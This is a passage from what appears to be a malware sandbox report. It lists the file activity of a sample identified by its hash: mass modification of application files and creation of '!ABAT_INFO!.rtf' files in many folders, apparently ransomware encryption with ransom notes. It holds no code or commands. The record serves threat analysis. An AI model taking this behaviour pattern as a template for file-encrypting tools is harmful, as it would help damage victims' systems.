(x86)\Adobe\Reader 9.0\Reader\plug_ins\MakeAccessible.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ru.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Warsaw 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-applemenu.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\javafx.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.VisualBasic.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\EST5EDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh89 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.io_8.1.14.v20131031.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-explorer.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Asuncion 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\luac.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\modules\httprequests.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Miquelon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\CIEXYZ.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\management-agent.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\YST9 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Buenos_Aires 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\St_Johns 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\MST7MDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerEvaluators.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Rio_Gallegos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\custom.lua 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\icudtl.dat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\rightnav.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kuching 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+1 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Faroe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state_1.0.1.v20140709-1414.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.services.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+2 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Edmonton 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.STP 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ho_Chi_Minh 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Enderbury 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7MDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Resolute 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkHandle.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Godthab 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Fortaleza 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Creston 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dushanbe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sendopts_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\org-netbeans-core-windows_visualvm.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861258748.profile.gz 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Vienna 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPOlive.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\meta-index 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+10 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Monaco 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\removed-files 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_equalizer.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia_Banderas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Aqtau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator_3.3.300.v20140518-1928.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Salta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPTSFrame.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\amd64\jvm.cfg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Noronha 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\ZoneInfoMappings 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Spelling.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\chrome.exe.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_de_DE.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text_3.9.1.v20140827-1810.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-util-lookup.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\splash.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kathmandu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\VideoLAN Website.url 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\logging.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kwajalein 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\cmm\sRGB.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Guatemala 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Eula.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nassau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Kaliningrad 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belize 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-modules_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\jfr\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-6 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\view.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\orbd.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jce.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychartplugin_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core_0.10.100.v20140424-2042.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jdb.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_sv.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.STC 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Mazatlan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-13 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ulaanbaatar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\3difr.x3d 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\zipfs.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Inuvik 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kuala_Lumpur 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\en-US\MSPVWCTL.DLL.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Chagos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\release 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\README.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\javaws.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-nodes_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\San_Luis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\DisconnectExit.ppt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_zh_HK.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\feedback.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\time-span-16.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-ui.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Srednekolymsk 